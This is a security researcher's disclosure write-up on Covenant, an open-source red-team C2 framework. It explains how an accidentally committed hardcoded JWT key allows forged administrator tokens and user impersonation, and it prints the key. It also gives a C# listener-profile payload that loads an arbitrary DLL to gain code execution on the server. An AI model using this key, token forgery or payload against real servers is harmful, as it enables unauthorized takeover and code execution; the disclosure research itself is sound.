Hunting the Hunters - RCE in Covenant C2

Covenant is a C2 framework by Ryan Cobb (cobbr) of SpecterOps utilized for offensive cyber operations around the world. It is a collaborative multiplayer framework written in dotnet CSharp that allows operators to take advantage of much of the existing offensive toolkits. It is full feature fledged, with a GUI, API, and plugin driven exploitation options among other things.

In this writeup, we will cover an external, no-auth attack that results in full administrative access to the C2 server via the API exposed by Covenant, along with a root remote code execution vulnerability.

The Attack Path

Due to an accidental commit of an ephemeral development application settings file, the secret value of all JWTs issued by Covenant was locked to a single value across all deployments. Given the project is open source, the value is known to attackers which allows them to spoof JWTs in order to gain full administrative access of any Covenant server that exposes the management interface on port 7443 (which is the default). With administrative access, a malicious listener can be configured that, upon implant handshake, results in arbitrary code execution as the Covenant application user (root by default).

Entomology

On March 3rd, 2019, commit d0f89b3b65103c595cd38b800f472b595be2934f was made, which had the following impactful change on Covenant/Data/appsettings.json:

-  "JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]",
+  "JwtKey": "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC",

The value of "JwtKey" in the appsettings.json file is a unique value that is generated on the initial startup of the Covenant server. In Covenant/Covenant.cs, we can see that the value of JwtKey in Covenant/Data/appsettings.json is replaced with the securely generated random string value:

string appsettingscontents = File.ReadAllText(Common.CovenantAppSettingsFile);
if (appsettingscontents.Contains(Common.CovenantJwtKeyReplaceMessage))
{
    Console.WriteLine("Found default JwtKey, replacing with auto-generated key...");
    File.WriteAllText(Common.CovenantAppSettingsFile, appsettingscontents.Replace(Common.CovenantJwtKeyReplaceMessage, Utilities.GenerateJwtKey()));
}

However, if the value of JwtKey is not the string "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]", no string replacement occurs, and the values in Covenant/Data/appsettings.json remain unchanged. This is what occurred when the development file was pushed to master, which resulted in the secret value of all JWTs signed and verified by any instance of Covenant to be locked to a single value from March 3rd, 2019 to July 13th, 2020.

Exploitation

Now that we have an understanding of how this bug occured, we can take a look into how we can exploit it. The first step, is to generate a forged JWT that grants Administrator access to a given Covenant server. We can get an understanding of the structure by looking at a JWT that is granted legitimately by hitting the /api/user/login endpoint.

{
    "sub": USERNAME,
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User"
    ],
    "exp": EXPIRATION,
    "iss": "Covenant",
    "aud": "Covenant"
}

The USERNAME value is a string representing the username of a given user, and the USERID value is a GUID that represents the user GUID inside of the covenant service. Verification of the username and GUID is important for some of the calls made to the API, but not for others. The jti value appears to be a sort of tenant identifier for the server, but it is unimportant for any step of exploitation. the EXPIRATION value is the epoch time at which the token expires.

Knowing this, we can generate a JWT with filler values for both USERNAME and USERID. The important piece of forgery we do here is ensuring that we give ourselves both the User and Administrator roles. This will allow us to do almost anything on the server.

{
    "sub": USERNAME,
    "jti": "925f74ca-fc8c-27c6-24be-566b11ab6585",
    "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
    "http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
        "User",
        "Administrator"
    ],
    "exp": EXPIRATION,
    "iss": "Covenant",
    "aud": "Covenant"
}

a quick example of generating a JWT using python’s pyjwt library

import jwt
payload = {
    "foo": "bar",
    "things": [
        "here"
    ]
}
secret = "abcd1234"
token = jwt.encode(payload, secret, algorithm='HS256').decode('utf-8')

Exploitation Step Two: Impersonation

Now that we have our JWT that is signed and verified by the server, we’re off to do what we want right? Well, as it turns out, some of the endpoints perform validation of the username/guid of the requestor. One specific task that we’d like to do is interact with the api/grunts/<id>/interact endpoint, which will allow us to issue tasks to the grunts (or implants). When we try to issue commands to the grunts via this endpoint, we get 400s, saying that a user with our id cannot be found.

That makes sense, because we used a random id as our userid when we forged the token. But we need to get a real user context in order to hit the interactive grunt API. Fortunately, we can get around this by impersonating another user! Those steps are as follows:

  1. get all user information from api/users
  2. forge new token with valid username and id for an administrator from api/users
  3. issue grunt commands as our new user

Now, as it turns out, the jti value is not enforced at this step either, so luckily we can just set the USERNAME and USERID fields on a new JWT payload, sign it with our key, and we are allowed to hit the previously restricted endpoints with our new user context!

Exploitation Step Three: ???

Now that we have full admin access to the server, there are a lot of things we could do. I will leave some of those ideas to the imagination of the reader. I have written a quick PoC script (flood.py) that performs a few tasks against a vulnerable Covenant server (I am not releasing this code at this time).

>>> python flood.py -h
usage: flood.py [-h] -s SERVER [-m {recon,kick,burn,shell}] [-g] [-u TOKEN]
                [-t TIMESTAMP] [-f] [-d DLL]

optional arguments:
  -h, --help            show this help message and exit
  -s SERVER             the fqdn or ip of covenant
  -m {recon,kick,burn,shell}
                        which mode to run in
  -g                    generate a new admin with the JWT secret
  -u TOKEN              alternatively, manually pass an auth token
  -t TIMESTAMP          timestamp of results (for burning)
  -f                    force an action
  -d DLL                the path to the DLL to inject into the server process

The first mode of this tool allows you to recon a target Covenant server, pulling down all information from all of the available API endpoints, and writing it to disk for use in investigating offensive actions. This includes timing and context for grunt task executions, operator usernames, listener callback IPs/FQDNs, and more.

The second mode allows you to kick all grunts off of a given Covenant server. In this case, all grunts are tasked with the Exit command, which exits the malicious process from an infected host and removes it from the grasp of the Covenant operators.

The thirds mode allows you to burn down a vulnerable Covenant server. With this flag any and all functional configuration assets and exfiltrated data sets from the server are deleted, including grunts, commands, credentials, users, and anything else configurable.

The final mode, allows you to shell a Covenant server by executing an arbitrary dotnet DLL…but how? 🤔

Remote Code Execution

The holy grail of exploitation is an unauthenticated remote code execution as root or SYSTEM, right? Well we might as well shoot for the stars then 😄. Our previous exploitation has granted us Administrator rights on a target Covenant server. Now this means that we can do a number of privileged configuration actions on the server, however there is not a native pathway / API that allows for code execution directly on the underlying server. This means that we will have to find some kind of vulnerability either in architectural design, or implementation. There are a few ways that we may be able to get code execution on the underlying operating system including logic bugs, command injections, etc. I wanted to find something that was non-interactive and something could be triggered programmatically. So where to start?

Well there is an interesting feature of Covenant that is intended to be utilized to change the way that the implant -> server communications behave and look on the wire. These are called Listener Profiles. These profiles can configure a number of things about how the listener and implant talk to each other, including the URLs accessed, how the requests/responses are hidden in HTML / headers, and how the encrypted messages are encoded as they pass over the wire. The transport encoding is configured by implementing a custom CSharp class called MessageTransform that can be modified by an administrator to do things like base64 encode the message, symmetrically encrypt, or really anything that one can write in dotnet CSharp. The base class looks like so:

public static class MessageTransform
{
    public static string Transform(byte[] bytes)
    {
        return System.Convert.ToBase64String(bytes);
    }
    public static byte[] Invert(string str) 
    {
        return System.Convert.FromBase64String(str);
    }
}

In this case, the encrypted message undergoes base64 encoding on messages being sent, and base64 decoding on messages being received. In order for the communication encoding to happen bilaterally, the transformation code must be run both client-side (implant) and server-side (Covenant). This would mean that we should be able to perform code execution on a victim Covenant server by installing a malicious listener profile, creating a listener using this profile, and connecting to that listener through the part of the grunt initialization that will result in the server performing either a MessageTransform::Transform or MessageTransform::Invert.

There is a caveat to exploitation utilizing this method that is undocumented. The dynamic compiler that generates the implant stagers (among other things) utilizes only the System.Private.CoreLib.dll library.

public static List<Compiler.Reference> DefaultReferencesNetCore { get; set; } = new List<Compiler.Reference>
{
    new Compiler.Reference
    {
        File = String.Join(Path.DirectorySeparatorChar, typeof(object).GetTypeInfo().Assembly.Location.Split(Path.DirectorySeparatorChar).Take(typeof(object).GetTypeInfo().Assembly.Location.Split(Path.DirectorySeparatorChar).Count() - 1))
        + Path.DirectorySeparatorChar + "System.Private.CoreLib.dll", Framework = DotNetVersion.NetCore31, Enabled = true
    }
};

This means that we don’t actually have access to the full core System namespace functionality, but only have access to the System namespace in the System.Private.Corelib source code (found here). This does have some overlap with the normal stdlib System namespace, however it is missing access to many foundational classes, like Process and File among others.

Even with this limitation though, we are able to perform code execution. In looking at a blog post by Tim Malcomvetter found here, we can see that the primitives for performing process injection in dotnet require only the Activator and Assembly classes from the System and System.Reflection namespaces respectively. In looking at the source code for System.Private.CoreLib, we can see that we have access to both of those classes publicly (here and here)!

Therefore, a malicious listener profile may look something like this:

public static class MessageTransform
{
    public static string Transform(byte[] bytes)
    {
        try
        {
            string assemblyBase64 = "BASE_64_ENCODED_DLL_HERE";
            var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
            var assembly = System.Reflection.Assembly.Load(assemblyBytes);
            foreach (var type in assembly.GetTypes()) {
                object instance = System.Activator.CreateInstance(type);
                object[] args = new object[] { new string[] { "" } };
                try {
                    type.GetMethod("Main").Invoke(instance, args);
                }
                catch {}
            }
        }
        catch {}
        return System.Convert.ToBase64String(bytes);
    }
    //...[ insert Invert implementation here ]...
}

Triggering the exploit is left as an exercise to the reader.

PoC || gtfo

link to exploit PoC

Affected Versions

Honeypot

Since we were going to wait a bit before disclosing this vulnerability, we also decided to set up a honeypot to see if we were indeed the first to find this exploit path. As of this date, we have not seen any active exploitation of either the authentication bypass, or the remote code execution.

Timeline

Conclusion

As a red teamer and operator who has utilized the Covenant framework, it is a very impressive and capable toolset. cobbr was very responsive throughout the disclosure process (and a great hacker!).

One thing to keep in mind as both a developer and consumer of tooling designed for offensive operation, is that we need to remember that red exists on the internet just as blue does, and can be vulnerable to attack just the same. In fact, compromise of red tooling is likely to contain dangerous data at a much higher density than blue infrastructure. It must be protected with just as much, if not more, scrutiny than blue assets. A simple ufw firewall rule blocking external access to port 7443 would stop this exploitation in lieu of patch. We have to remain vigilant as offensive entities, just as we do on defense.

You can find me on twitter @0xcoastal.